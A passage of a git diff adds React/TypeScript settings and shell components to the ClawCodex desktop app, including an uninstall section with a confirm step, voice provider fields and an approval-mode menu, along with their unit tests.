+                    toolset={toolset}
+                  />
+                )}
+                {toolset === 'tts' && provider.tts_provider && (
+                  // Voice/model settings for this backend (tts.<key>.*) —
+                  // the same fields Settings → Voice renders, inline so the
+                  // Capabilities panel is a complete setup surface.
+                  <VoiceProviderFields providerKey={provider.tts_provider} section="tts" />
+                )}
+                {MODEL_CATALOG_TOOLSETS.has(toolset) && (
+                  <ModelCatalogPicker
+                    isActiveBackend={provider.is_active || cfg?.active_provider === provider.name}
+                    providerName={provider.name}
+                    toolset={toolset}
+                  />
+                )}
+              </div>
+            )}
+          </div>
+        )
+      })}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/types.ts b/ui-desktop/src/app/settings/types.ts
new file mode 100644
index 000000000..18b7ff927
--- /dev/null
+++ b/ui-desktop/src/app/settings/types.ts
@@ -0,0 +1,52 @@
+import type { Dispatch, SetStateAction } from 'react'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import type { IconComponent } from '@/lib/icons'
+import type { EnvVarInfo } from '@/types/clawcodex'
+
+export type SettingsView =
+  | 'about'
+  | 'billing'
+  | 'gateway'
+  | 'keybinds'
+  | 'keys'
+  | 'notifications'
+  | 'plugins'
+  | 'providers'
+  | 'sessions'
+  | `config:${string}`
+export type EnvPatch = Partial<Pick<EnvVarInfo, 'is_set' | 'redacted_value'>>
+
+export interface SettingsPageProps {
+  gateway?: ClawCodexGateway | null
+  onClose: () => void
+  onConfigSaved?: () => void
+  onMainModelChanged?: (provider: string, model: string) => void
+}
+
+export interface ProviderGroup {
+  name: string
+  priority: number
+  entries: [string, EnvVarInfo][]
+  hasAnySet: boolean
+}
+
+export interface DesktopConfigSection {
+  id: string
+  label: string
+  icon: IconComponent
+  keys: string[]
+}
+
+export interface EnvRowProps {
+  varKey: string
+  info: EnvVarInfo
+  edits: Record<string, string>
+  revealed: Record<string, string>
+  saving: string | null
+  setEdits: Dispatch<SetStateAction<Record<string, string>>>
+  onSave: (key: string) => void
+  onClear: (key: string) => void
+  onReveal: (key: string) => void
+  compact?: boolean
+}
diff --git a/ui-desktop/src/app/settings/uninstall-section.tsx b/ui-desktop/src/app/settings/uninstall-section.tsx
new file mode 100644
index 000000000..e03038c12
--- /dev/null
+++ b/ui-desktop/src/app/settings/uninstall-section.tsx
@@ -0,0 +1,186 @@
+import { useEffect, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import type { DesktopUninstallMode, DesktopUninstallSummary } from '@/global'
+import { AlertTriangle, Loader2, Trash2 } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+import { SectionHeading } from './primitives'
+
+interface ModeOption {
+  mode: DesktopUninstallMode
+  title: string
+  description: string
+  /** Shown in the confirm step so people know exactly what disappears. */
+  consequence: string
+  /** True when the option removes the Python agent (hidden if no agent). */
+  needsAgent: boolean
+}
+
+const OPTIONS: ModeOption[] = [
+  {
+    mode: 'gui',
+    title: 'Uninstall Chat GUI only',
+    description: 'Remove this desktop app. The ClawCodex agent, your config, and chats all stay.',
+    consequence: 'the desktop Chat GUI (this app and its data)',
+    needsAgent: false
+  },
+  {
+    mode: 'lite',
+    title: 'Uninstall GUI + agent, keep my data',
+    description: 'Remove the app and the ClawCodex agent, but keep config, chats, and secrets for a future reinstall.',
+    consequence: 'the Chat GUI and the ClawCodex agent (config, chats, and secrets are kept)',
+    needsAgent: true
+  },
+  {
+    mode: 'full',
+    title: 'Uninstall everything',
+    description: 'Remove the app, the agent, and all user data — config, chats, scheduled jobs, secrets, logs.',
+    consequence: 'EVERYTHING — the Chat GUI, the ClawCodex agent, and all of your config, chats, secrets, and logs',
+    // full removes the agent (and user data), so it's an agent-removing option:
+    // hide it on a lite client with no local agent, same as lite. A lite client
+    // connecting to a remote backend has no local agent OR local user data the
+    // GUI installed, so gui-only is the correct (and only) option there.
+    needsAgent: true
+  }
+]
+
+export function UninstallSection() {
+  const [summary, setSummary] = useState<DesktopUninstallSummary | null>(null)
+  const [loading, setLoading] = useState(true)
+  const [pending, setPending] = useState<DesktopUninstallMode | null>(null)
+  const [running, setRunning] = useState(false)
+  const [error, setError] = useState<string | null>(null)
+
+  useEffect(() => {
+    let alive = true
+    const bridge = window.clawcodexDesktop?.uninstall
+
+    if (!bridge) {
+      setLoading(false)
+
+      return
+    }
+
+    void bridge
+      .summary()
+      .then(result => {
+        if (alive) {
+          setSummary(result)
+        }
+      })
+      .catch(() => {
+        // Non-fatal — we degrade to offering the GUI-only option.
+      })
+      .finally(() => {
+        if (alive) {
+          setLoading(false)
+        }
+      })
+
+    return () => {
+      alive = false
+    }
+  }, [])
+
+  const bridge = window.clawcodexDesktop?.uninstall
+
+  if (!bridge) {
+    return null
+  }
+
+  // Gate the agent-removing options on whether an agent is actually present.
+  // A future lite client that ships without the bundled agent shows GUI-only.
+  const agentInstalled = summary?.agent_installed ?? false
+  const visibleOptions = OPTIONS.filter(opt => agentInstalled || !opt.needsAgent)
+
+  const handleConfirm = async () => {
+    if (!pending) {
+      return
+    }
+
+    setRunning(true)
+    setError(null)
+
+    try {
+      const result = await bridge.run(pending)
+
+      if (!result.ok) {
+        setError(result.message || result.error || 'Uninstall could not start.')
+        setRunning(false)
+        setPending(null)
+      }
+      // On success the app quits shortly; keep the spinner up until it does.
+    } catch (err) {
+      setError(err instanceof Error ? err.message : String(err))
+      setRunning(false)
+      setPending(null)
+    }
+  }
+
+  const pendingOption = OPTIONS.find(opt => opt.mode === pending) ?? null
+
+  return (
+    <div className="mx-auto mt-8 w-full max-w-2xl">
+      <SectionHeading icon={AlertTriangle} title="Danger zone" />
+
+      <div className="rounded-xl border border-destructive/30 bg-destructive/5 px-4 py-3">
+        {loading ? (
+          <div className="flex items-center gap-2 py-2 text-sm text-muted-foreground">
+            <Loader2 className="size-3.5 animate-spin" />
+            Checking what&apos;s installed…
+          </div>
+        ) : pendingOption ? (
+          <div>
+            <p className="text-sm font-medium text-destructive">Confirm uninstall</p>
+            <p className="mt-1 text-xs text-muted-foreground">
+              This removes {pendingOption.consequence}. This can&apos;t be undone.
+            </p>
+            {summary?.running_app_path && (
+              <p className="mt-1 font-mono text-[0.68rem] text-muted-foreground/60">App: {summary.running_app_path}</p>
+            )}
+            {error && <p className="mt-2 text-xs text-destructive">{error}</p>}
+            <div className="mt-3 flex flex-wrap items-center gap-3">
+              <Button disabled={running} onClick={() => void handleConfirm()} size="sm" variant="destructive">
+                {running && <Loader2 className="size-3 animate-spin" />}
+                {running ? 'Uninstalling…' : 'Yes, uninstall'}
+              </Button>
+              <Button disabled={running} onClick={() => setPending(null)} size="sm" variant="text">
+                Cancel
+              </Button>
+            </div>
+          </div>
+        ) : (
+          <div className="flex flex-col gap-2">
+            <p className="text-sm font-medium">Uninstall ClawCodex</p>
+            <p className="text-xs text-muted-foreground">
+              Choose how much to remove. The app closes to finish the job; reopen the installer any time to come back.
+            </p>
+            <div className="mt-1 flex flex-col gap-2">
+              {visibleOptions.map(opt => (
+                <button
+                  className={cn(
+                    'flex items-start gap-3 rounded-lg border border-border/60 bg-background/40 px-3 py-2.5 text-left transition',
+                    'hover:border-destructive/40 hover:bg-destructive/5'
+                  )}
+                  key={opt.mode}
+                  onClick={() => {
+                    setError(null)
+                    setPending(opt.mode)
+                  }}
+                  type="button"
+                >
+                  <Trash2 className="mt-0.5 size-4 shrink-0 text-muted-foreground" />
+                  <span className="min-w-0">
+                    <span className="block text-sm font-medium text-foreground">{opt.title}</span>
+                    <span className="mt-0.5 block text-xs text-muted-foreground">{opt.description}</span>
+                  </span>
+                </button>
+              ))}
+            </div>
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/use-deep-link-highlight.ts b/ui-desktop/src/app/settings/use-deep-link-highlight.ts
new file mode 100644
index 000000000..215202ff8
--- /dev/null
+++ b/ui-desktop/src/app/settings/use-deep-link-highlight.ts
@@ -0,0 +1,80 @@
+import { useEffect } from 'react'
+import { useSearchParams } from 'react-router'
+
+interface DeepLinkHighlightOptions {
+  param: string
+  ready: (target: string) => boolean
+  elementId: (target: string) => string
+  onResolve?: (target: string) => void
+  block?: ScrollLogicalPosition
+}
+
+// Deep-link from the command palette (?<param>=<id>): once the target row is
+// renderable, scroll it into view and flash it, then drop the param so it
+// doesn't re-fire. Returns the pending target (null once consumed) so callers
+// can force the row open before it mounts.
+export function useDeepLinkHighlight({
+  param,
+  ready,
+  elementId,
+  onResolve,
+  block = 'center'
+}: DeepLinkHighlightOptions): null | string {
+  const [searchParams, setSearchParams] = useSearchParams()
+  const target = searchParams.get(param)
+
+  useEffect(() => {
+    if (!target || !ready(target)) {
+      return
+    }
+
+    onResolve?.(target)
+
+    let cancelled = false
+    let timer = 0
+
+    // onResolve may flip view state that mounts the row a few frames later, so
+    // poll briefly for it and only drop the param AFTER a successful scroll —
+    // deleting up front would lose the deep link when the target mounts late.
+    let attempts = 0
+
+    const attempt = () => {
+      if (cancelled) {
+        return
+      }
+
+      const element = document.getElementById(elementId(target))
+
+      if (element) {
+        element.scrollIntoView({ behavior: 'smooth', block })
+        element.classList.add('setting-field-highlight')
+        window.setTimeout(() => element.classList.remove('setting-field-highlight'), 1600)
+
+        setSearchParams(
+          previous => {
+            const next = new URLSearchParams(previous)
+            next.delete(param)
+
+            return next
+          },
+          { replace: true }
+        )
+
+        return
+      }
+
+      if (attempts++ < 20) {
+        timer = window.setTimeout(attempt, 80)
+      }
+    }
+
+    timer = window.setTimeout(attempt, 80)
+
+    return () => {
+      cancelled = true
+      window.clearTimeout(timer)
+    }
+  }, [block, elementId, onResolve, param, ready, setSearchParams, target])
+
+  return target
+}
diff --git a/ui-desktop/src/app/settings/voice-field-visible.test.ts b/ui-desktop/src/app/settings/voice-field-visible.test.ts
new file mode 100644
index 000000000..296d68384
--- /dev/null
+++ b/ui-desktop/src/app/settings/voice-field-visible.test.ts
@@ -0,0 +1,48 @@
+import { describe, expect, it } from 'vitest'
+
+import type { ClawCodexConfigRecord } from '@/types/clawcodex'
+
+import { voiceFieldVisible } from './config-settings'
+
+const cfg = (over: Record<string, unknown> = {}): ClawCodexConfigRecord =>
+  ({
+    tts: { provider: 'edge', edge: {}, openai: {} },
+    stt: { enabled: true, provider: 'local', local: {}, groq: {} },
+    ...over
+  }) as unknown as ClawCodexConfigRecord
+
+describe('voiceFieldVisible', () => {
+  it('always shows top-level + non-provider keys', () => {
+    const config = cfg()
+
+    for (const key of ['tts.provider', 'stt.enabled', 'stt.provider', 'voice.auto_tts', 'voice.record_key']) {
+      expect(voiceFieldVisible(key, config)).toBe(true)
+    }
+  })
+
+  it('shows only the selected TTS provider sub-fields', () => {
+    const config = cfg()
+    expect(voiceFieldVisible('tts.edge.voice', config)).toBe(true)
+    expect(voiceFieldVisible('tts.openai.voice', config)).toBe(false)
+    expect(voiceFieldVisible('tts.elevenlabs.voice_id', config)).toBe(false)
+  })
+
+  it('shows only the selected STT provider sub-fields', () => {
+    const config = cfg()
+    expect(voiceFieldVisible('stt.local.model', config)).toBe(true)
+    expect(voiceFieldVisible('stt.groq.model', config)).toBe(false)
+  })
+
+  it('hides every STT provider sub-field when STT is disabled', () => {
+    const config = cfg({ stt: { enabled: false, provider: 'local', local: {} } })
+    expect(voiceFieldVisible('stt.local.model', config)).toBe(false)
+    // ...but the enable/provider toggles themselves stay visible.
+    expect(voiceFieldVisible('stt.enabled', config)).toBe(true)
+    expect(voiceFieldVisible('stt.provider', config)).toBe(true)
+  })
+
+  it('tracks a provider switch', () => {
+    expect(voiceFieldVisible('tts.openai.voice', cfg({ tts: { provider: 'openai', openai: {} } }))).toBe(true)
+    expect(voiceFieldVisible('tts.edge.voice', cfg({ tts: { provider: 'openai', openai: {} } }))).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/app/settings/voice-provider-fields.test.ts b/ui-desktop/src/app/settings/voice-provider-fields.test.ts
new file mode 100644
index 000000000..1b5cadbed
--- /dev/null
+++ b/ui-desktop/src/app/settings/voice-provider-fields.test.ts
@@ -0,0 +1,77 @@
+import { describe, expect, it } from 'vitest'
+
+import { ENUM_OPTIONS, FREE_INPUT_KEYS, SECTIONS } from './constants'
+import { voiceProviderKeys } from './voice-provider-fields'
+
+const voiceKeys = SECTIONS.find(s => s.id === 'voice')?.keys ?? []
+
+describe('voiceProviderKeys', () => {
+  it('derives per-provider field keys from the curated Voice section', () => {
+    expect(voiceProviderKeys('tts', 'openai')).toEqual(['tts.openai.model', 'tts.openai.voice'])
+    expect(voiceProviderKeys('tts', 'elevenlabs')).toEqual(['tts.elevenlabs.voice_id', 'tts.elevenlabs.model_id'])
+    expect(voiceProviderKeys('tts', 'edge')).toEqual(['tts.edge.voice'])
+  })
+
+  it('covers every built-in TTS provider the Capabilities picker offers', () => {
+    // Every provider key the backend TOOL_CATEGORIES["tts"] rows can carry
+    // (tts_provider values) must resolve to at least one config field, so the
+    // Capabilities panel never renders a silently-empty settings block.
+    for (const provider of [
+      'edge',
+      'openai',
+      'xai',
+      'elevenlabs',
+      'mistral',
+      'gemini',
+      'kittentts',
+      'piper',
+      'deepinfra',
+      'minimax'
+    ]) {
+      expect(voiceProviderKeys('tts', provider).length, provider).toBeGreaterThan(0)
+    }
+  })
+
+  it('scopes to the exact provider segment (no prefix bleed)', () => {
+    expect(voiceProviderKeys('tts', 'mini')).toEqual([])
+    expect(voiceProviderKeys('stt', 'openai')).toEqual(['stt.openai.model'])
+  })
+})
+
+describe('voice field option coverage', () => {
+  it('offers the current gpt-4o-mini-tts voice set, not just the tts-1 six', () => {
+    const voices = ENUM_OPTIONS['tts.openai.voice']
+
+    for (const voice of ['alloy', 'ash', 'ballad', 'cedar', 'coral', 'marin', 'sage', 'verse', 'shimmer']) {
+      expect(voices).toContain(voice)
+    }
+  })
+
+  it('keeps voice/model name fields free-input so custom IDs are typeable', () => {
+    for (const key of [
+      'tts.openai.voice',
+      'tts.openai.model',
+      'tts.elevenlabs.voice_id',
+      'tts.edge.voice',
+      'tts.xai.voice_id',
+      'tts.piper.voice'
+    ]) {
+      expect(FREE_INPUT_KEYS.has(key), key).toBe(true)
+    }
+  })
+
+  it('keeps closed enums (devices, providers) out of the free-input set', () => {
+    expect(FREE_INPUT_KEYS.has('tts.provider')).toBe(false)
+    expect(FREE_INPUT_KEYS.has('tts.neutts.device')).toBe(false)
+    expect(FREE_INPUT_KEYS.has('stt.provider')).toBe(false)
+  })
+
+  it('every free-input voice key that lives in the Voice section has suggestions or is intentionally bare', () => {
+    // Free-input keys don't *require* ENUM_OPTIONS (an empty datalist is
+    // fine), but any that do declare options must be actual Voice-section
+    // fields — a typo'd key here would silently do nothing.
+    for (const key of FREE_INPUT_KEYS) {
+      expect(voiceKeys, key).toContain(key)
+    }
+  })
+})
diff --git a/ui-desktop/src/app/settings/voice-provider-fields.tsx b/ui-desktop/src/app/settings/voice-provider-fields.tsx
new file mode 100644
index 000000000..f6f0b0069
--- /dev/null
+++ b/ui-desktop/src/app/settings/voice-provider-fields.tsx
@@ -0,0 +1,141 @@
+import { useQuery } from '@tanstack/react-query'
+import { useEffect, useMemo, useRef, useState } from 'react'
+
+import { getClawCodexConfigSchema, getElevenLabsVoices, saveClawCodexConfig } from '@/clawcodex'
+import { useI18n } from '@/i18n'
+import { notifyError } from '@/store/notifications'
+import type { ClawCodexConfigRecord } from '@/types/clawcodex'
+
+import { setClawCodexConfigCache, useClawCodexConfigRecord } from '../hooks/use-config-record'
+
+import { ConfigField } from './config-field'
+import { SECTIONS } from './constants'
+import { enumOptionsFor, getNested, inferFieldSchema, setNested } from './helpers'
+
+// The curated voice keys (Settings → Voice) are the single source of which
+// per-provider fields exist; both the Voice settings page and the
+// Capabilities TTS panel derive from it so the two surfaces never drift.
+const VOICE_KEYS = SECTIONS.find(s => s.id === 'voice')?.keys ?? []
+
+export function voiceProviderKeys(section: 'tts' | 'stt', providerKey: string): string[] {
+  const prefix = `${section}.${providerKey}.`
+
+  return VOICE_KEYS.filter(key => key.startsWith(prefix))
+}
+
+/**
+ * Inline voice/model settings for one TTS (or STT) provider, rendered inside
+ * the Capabilities → toolset config panel underneath the provider's API-key
+ * fields. Reads and writes the same `tts.<provider>.*` config keys as
+ * Settings → Voice (shared ConfigField renderer + enum/free-input rules), with
+ * the same debounced autosave through the shared config cache.
+ */
+export function VoiceProviderFields({ section, providerKey }: { section: 'tts' | 'stt'; providerKey: string }) {
+  const { t } = useI18n()
+  const keys = useMemo(() => voiceProviderKeys(section, providerKey), [section, providerKey])
+  const { data: loadedConfig } = useClawCodexConfigRecord()
+
+  const { data: schemaResponse } = useQuery({
+    queryKey: ['clawcodex-config-schema'],
+    queryFn: getClawCodexConfigSchema,
+    staleTime: 5 * 60 * 1000
+  })
+
+  // Local editable draft, seeded once from the shared cache (background
+  // refetches must not clobber in-progress edits) — the same shape as
+  // config-settings.tsx's autosave loop.
+  const [config, setConfig] = useState<ClawCodexConfigRecord | null>(null)
+  const seeded = useRef(false)
+
+  // eslint-disable-next-line no-restricted-syntax -- one-shot config seed flag, not an atom mirror
+  useEffect(() => {
+    if (loadedConfig && !seeded.current) {
+      seeded.current = true
+      setConfig(loadedConfig)
+    }
+  }, [loadedConfig])
+
+  const saveVersionRef = useRef(0)
+  const [saveVersion, setSaveVersion] = useState(0)
+
+  useEffect(() => {
+    if (!config || saveVersion === 0) {
+      return
+    }
+
+    const timeout = window.setTimeout(() => {
+      void saveClawCodexConfig(config)
+        .then(() => setClawCodexConfigCache(config))
+        .catch(err => notifyError(err, t.settings.config.autosaveFailed))
+    }, 550)
+
+    return () => window.clearTimeout(timeout)
+    // eslint-disable-next-line react-hooks/exhaustive-deps -- copy is stable; avoid re-scheduling autosave on locale change
+  }, [config, saveVersion])
+
+  // ElevenLabs cloned/library voices from the live account, when available —
+  // mirrors the Settings → Voice dynamic voice list.
+  const [elVoices, setElVoices] = useState<string[] | null>(null)
+  const [elVoiceLabels, setElVoiceLabels] = useState<Record<string, string>>({})
+  const wantsElevenLabs = keys.includes('tts.elevenlabs.voice_id')
+
+  useEffect(() => {
+    if (!wantsElevenLabs) {
+      return
+    }
+
+    let cancelled = false
+
+    getElevenLabsVoices()
+      .then(result => {
+        if (cancelled || !result.available) {
+          return
+        }
+
+        setElVoices(result.voices.map(voice => voice.voice_id))
+        setElVoiceLabels(Object.fromEntries(result.voices.map(voice => [voice.voice_id, voice.label])))
+      })
+      .catch(() => {
+        if (!cancelled) {
+          setElVoices(null)
+          setElVoiceLabels({})
+        }
+      })
+
+    return () => void (cancelled = true)
+  }, [wantsElevenLabs])
+
+  if (keys.length === 0 || !config) {
+    return null
+  }
+
+  const schema = schemaResponse?.fields ?? {}
+
+  const updateConfig = (next: ClawCodexConfigRecord) => {
+    saveVersionRef.current += 1
+    setConfig(next)
+    setSaveVersion(saveVersionRef.current)
+  }
+
+  return (
+    <div className="grid gap-0.5 rounded-lg bg-background/55 px-2.5">
+      {keys.map(key => {
+        const value = getNested(config, key)
+        const field = schema[key] ?? inferFieldSchema(value)
+        const isElVoice = key === 'tts.elevenlabs.voice_id'
+
+        return (
+          <ConfigField
+            enumOptions={enumOptionsFor(key, value, config, isElVoice ? (elVoices ?? undefined) : undefined)}
+            key={key}
+            onChange={next => updateConfig(setNested(config, key, next))}
+            optionLabels={isElVoice ? elVoiceLabels : undefined}
+            schema={field}
+            schemaKey={key}
+            value={value}
+          />
+        )
+      })}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/with-active.test.ts b/ui-desktop/src/app/settings/with-active.test.ts
new file mode 100644
index 000000000..ed9603f13
--- /dev/null
+++ b/ui-desktop/src/app/settings/with-active.test.ts
@@ -0,0 +1,31 @@
+import { describe, expect, it } from 'vitest'
+
+import { withActive } from './model-settings'
+
+// A Radix <Select> shows a blank trigger when its `value` matches no
+// <SelectItem>. `withActive` guarantees the controlled value is always
+// representable so a config-only / custom model never renders blank.
+describe('withActive', () => {
+  const curated = ['clawcodex-4', 'clawcodex-4-mini']
+
+  it('prepends a custom model missing from the curated list', () => {
+    expect(withActive(curated, 'anthropic/claude-opus-4.7')).toEqual(['anthropic/claude-opus-4.7', ...curated])
+  })
+
+  it('leaves the list untouched when the active model is already curated', () => {
+    expect(withActive(curated, 'clawcodex-4')).toEqual(curated)
+  })
+
+  it('does not inject an empty active value', () => {
+    expect(withActive(curated, '')).toEqual(curated)
+  })
+
+  it('surfaces the active model even when the curated list is empty', () => {
+    expect(withActive([], 'anthropic/claude-opus-4.7')).toEqual(['anthropic/claude-opus-4.7'])
+  })
+
+  it('keeps the active model selectable as the invariant', () => {
+    const out = withActive(curated, 'custom/model')
+    expect(out).toContain('custom/model')
+  })
+})
diff --git a/ui-desktop/src/app/shell/approval-mode-menu.test.tsx b/ui-desktop/src/app/shell/approval-mode-menu.test.tsx
new file mode 100644
index 000000000..040471a19
--- /dev/null
+++ b/ui-desktop/src/app/shell/approval-mode-menu.test.tsx
@@ -0,0 +1,89 @@
+import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react'
+import { MemoryRouter } from 'react-router'
+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
+
+import { StatusbarControls } from '@/app/shell/statusbar-controls'
+import { I18nProvider } from '@/i18n'
+import { $approvalModes } from '@/store/approval-mode'
+
+import { useApprovalModeStatusbarItem } from './approval-mode-menu'
+
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+
+beforeAll(() => {
+  vi.stubGlobal('ResizeObserver', TestResizeObserver)
+  Element.prototype.hasPointerCapture ??= () => false
+  Element.prototype.setPointerCapture ??= () => undefined
+  Element.prototype.releasePointerCapture ??= () => undefined
+  HTMLElement.prototype.scrollIntoView ??= () => undefined
+})
+
+afterEach(() => {
+  cleanup()
+  $approvalModes.set({})
+})
+
+function Harness({
+  profile = 'default',
+  requestGateway
+}: {
+  profile?: string
+  requestGateway: (method: string, params?: Record<string, unknown>) => Promise<unknown>
+}) {
+  const item = useApprovalModeStatusbarItem(profile, requestGateway)
+
+  return (
+    <MemoryRouter>
+      <StatusbarControls items={[item]} />
+    </MemoryRouter>
+  )
+}
+
+describe('approval mode statusbar item', () => {
+  it('uses the shared statusbar menu trigger without a nested bespoke button', async () => {
+    const response = new Promise<never>(() => undefined)
+    render(<Harness requestGateway={vi.fn(() => response)} />)
+
+    const statusbar = screen.getByRole('contentinfo')
+    const trigger = within(statusbar).getByRole('button', { name: /smart/i })
+    expect(within(statusbar).getAllByRole('button')).toHaveLength(1)
+
+    fireEvent.pointerDown(trigger, { button: 0 })
+
+    expect(await screen.findByRole('menuitemradio', { name: /manual/i })).toBeTruthy()
+    expect(trigger.getAttribute('aria-haspopup')).toBe('menu')
+    expect(screen.getByRole('menuitemradio', { name: /smart/i })).toBeTruthy()
+    expect(screen.getByRole('menuitemradio', { name: /off/i })).toBeTruthy()
+  })
+
+  it('writes the selected mode through the gateway and updates its shared trigger label', async () => {
+    const requestGateway = vi.fn(async (_method, params) => ({ value: params?.value ?? 'smart' }))
+    render(<Harness profile="work" requestGateway={requestGateway} />)
+
+    fireEvent.pointerDown(screen.getByRole('button', { name: /smart/i }), { button: 0 })
+    fireEvent.click(await screen.findByRole('menuitemradio', { name: /manual/i }))
+
+    await waitFor(() => {
+      expect(requestGateway).toHaveBeenCalledWith('config.set', { key: 'approvals.mode', value: 'manual' })
+      expect(screen.getByRole('button', { name: /manual/i })).toBeTruthy()
+    })
+  })
+
+  it('renders the shared trigger and menu in the active locale', async () => {
+    const response = new Promise<never>(() => undefined)
+    render(
+      <I18nProvider configClient={null} initialLocale="ja">
+        <Harness requestGateway={vi.fn(() => response)} />
+      </I18nProvider>
+    )
+
+    fireEvent.pointerDown(screen.getByRole('button', { name: 'スマート' }), { button: 0 })
+
+    expect(await screen.findByText('必要な場合にのみ確認します')).toBeTruthy()
+    expect(screen.getByText('承認プロンプトなしで実行します')).toBeTruthy()
+  })
+})
diff --git a/ui-desktop/src/app/shell/approval-mode-menu.tsx b/ui-desktop/src/app/shell/approval-mode-menu.tsx
new file mode 100644
index 000000000..4d6b0b1a2
--- /dev/null
+++ b/ui-desktop/src/app/shell/approval-mode-menu.tsx
@@ -0,0 +1,76 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useMemo } from 'react'
+
+import type { StatusbarItem } from '@/app/shell/statusbar-controls'
+import {
+  DropdownMenuLabel,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  DropdownMenuSeparator
+} from '@/components/ui/dropdown-menu'
+import { useI18n } from '@/i18n'
+import { Zap, ZapFilled } from '@/lib/icons'
+import {
+  $approvalModes,
+  type ApprovalMode,
+  type ApprovalModeRequester,
+  setApprovalModeForProfile,
+  syncApprovalModeForProfile
+} from '@/store/approval-mode'
+
+export function useApprovalModeStatusbarItem(profile: string, requestGateway: ApprovalModeRequester): StatusbarItem {
+  const { t } = useI18n()
+  const copy = t.shell.approvalMode
+  const modes = useStore($approvalModes)
+  const mode = modes[profile.trim() || 'default'] ?? 'smart'
+
+  const labels = useMemo<Record<ApprovalMode, string>>(
+    () => ({ manual: copy.manual, smart: copy.smart, off: copy.off }),
+    [copy.manual, copy.off, copy.smart]
+  )
+
+  const descriptions = useMemo<Record<ApprovalMode, string>>(
+    () => ({
+      manual: copy.manualDescription,
+      smart: copy.smartDescription,
+      off: copy.offDescription
+    }),
+    [copy.manualDescription, copy.offDescription, copy.smartDescription]
+  )
+
+  useEffect(() => {
+    void syncApprovalModeForProfile(requestGateway, profile).catch(() => undefined)
+  }, [profile, requestGateway])
+
+  return {
+    className: mode === 'off' ? 'bg-(--chrome-action-hover) text-foreground' : undefined,
+    icon: mode === 'off' ? <ZapFilled className="size-3.5" /> : <Zap className="size-3.5 opacity-70" />,
+    id: 'approval-mode',
+    label: labels[mode],
+    menuAlign: 'end',
+    menuClassName: 'w-72 p-1',
+    menuContent: (
+      <>
+        <DropdownMenuLabel>{copy.title}</DropdownMenuLabel>
+        <DropdownMenuSeparator />
+        <DropdownMenuRadioGroup
+          onValueChange={value => {
+            void setApprovalModeForProfile(requestGateway, profile, value as ApprovalMode).catch(() => undefined)
+          }}
+          value={mode}
+        >
+          {(['manual', 'smart', 'off'] as const).map(value => (
+            <DropdownMenuRadioItem className="items-start gap-2" key={value} value={value}>
+              <span className="flex min-w-0 flex-col gap-0.5">
+                <span className="text-xs text-foreground">{labels[value]}</span>
+                <span className="text-[0.6875rem] leading-snug text-(--ui-text-tertiary)">{descriptions[value]}</span>
+              </span>
+            </DropdownMenuRadioItem>
+          ))}
+        </DropdownMenuRadioGroup>
+      </>
+    ),
+    title: copy.ariaLabel(labels[mode]),
+    variant: 'menu'
+  }
+}
diff --git a/ui-desktop/src/app/shell/context-usage-panel.test.tsx b/ui-desktop/src/app/shell/context-usage-panel.test.tsx
new file mode 100644
index 000000000..fff8f7a0f
--- /dev/null
+++ b/ui-desktop/src/app/shell/context-usage-panel.test.tsx
@@ -0,0 +1,93 @@
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useState } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import type { ContextBreakdown, UsageStats } from '@/types/clawcodex'
+
+import { ContextUsagePanel } from './context-usage-panel'
+
+const initialUsage: UsageStats = {
+  calls: 1,
+  context_max: 272_000,
+  context_percent: 47,
+  context_used: 128_200,
+  input: 0,
+  output: 0,
+  total: 0
+}
+
+const breakdown: ContextBreakdown = {
+  categories: [{ color: 'teal', id: 'conversation', label: 'Conversation', tokens: 241_400 }],
+  context_max: 272_000,
+  context_percent: 89,
+  context_used: 241_400,
+  estimated_total: 286_600,
+  model: 'test-model'
+}
+
+afterEach(() => {
+  cleanup()
+  vi.restoreAllMocks()
+})
+
+describe('ContextUsagePanel', () => {
+  it('publishes once without refetching when publication recreates the callback', async () => {
+    const requestGateway = vi.fn().mockResolvedValue(breakdown)
+    const published = vi.fn()
+    const renderedUsage: UsageStats[] = []
+
+    function Harness() {
+      const [currentUsage, setCurrentUsage] = useState(initialUsage)
+      renderedUsage.push(currentUsage)
+
+      return (
+        <ContextUsagePanel
+          currentUsage={currentUsage}
+          onUsageSnapshot={snapshot => {
+            published(snapshot)
+            setCurrentUsage(current => ({ ...current, ...snapshot }))
+          }}
+          requestGateway={requestGateway}
+          sessionId="runtime-1"
+        />
+      )
+    }
+
+    render(<Harness />)
+
+    await waitFor(() => {
+      expect(published).toHaveBeenCalledWith({
+        context_max: 272_000,
+        context_percent: 89,
+        context_used: 241_400
+      })
+      expect(renderedUsage.at(-1)?.context_used).toBe(241_400)
+    })
+    await act(async () => {})
+
+    expect(requestGateway).toHaveBeenCalledTimes(1)
+    expect(requestGateway).toHaveBeenCalledWith('session.context_breakdown', { session_id: 'runtime-1' })
+  })
+
+  it('refetches when the session or gateway requester changes', async () => {
+    const firstGateway = vi.fn().mockResolvedValue(breakdown)
+    const secondGateway = vi.fn().mockResolvedValue(breakdown)
+
+    const { rerender } = render(
+      <ContextUsagePanel currentUsage={initialUsage} requestGateway={firstGateway} sessionId="runtime-1" />
+    )
+
+    await waitFor(() => expect(firstGateway).toHaveBeenCalledTimes(1))
+
+    rerender(<ContextUsagePanel currentUsage={initialUsage} requestGateway={firstGateway} sessionId="runtime-2" />)
+
+    await waitFor(() => {
+      expect(firstGateway).toHaveBeenCalledTimes(2)
+      expect(firstGateway).toHaveBeenLastCalledWith('session.context_breakdown', { session_id: 'runtime-2' })
+    })
+
+    rerender(<ContextUsagePanel currentUsage={initialUsage} requestGateway={secondGateway} sessionId="runtime-2" />)
+
+    await waitFor(() => expect(secondGateway).toHaveBeenCalledTimes(1))
+  })
+})
diff --git a/ui-desktop/src/app/shell/context-usage-panel.tsx b/ui-desktop/src/app/shell/context-usage-panel.tsx
new file mode 100644
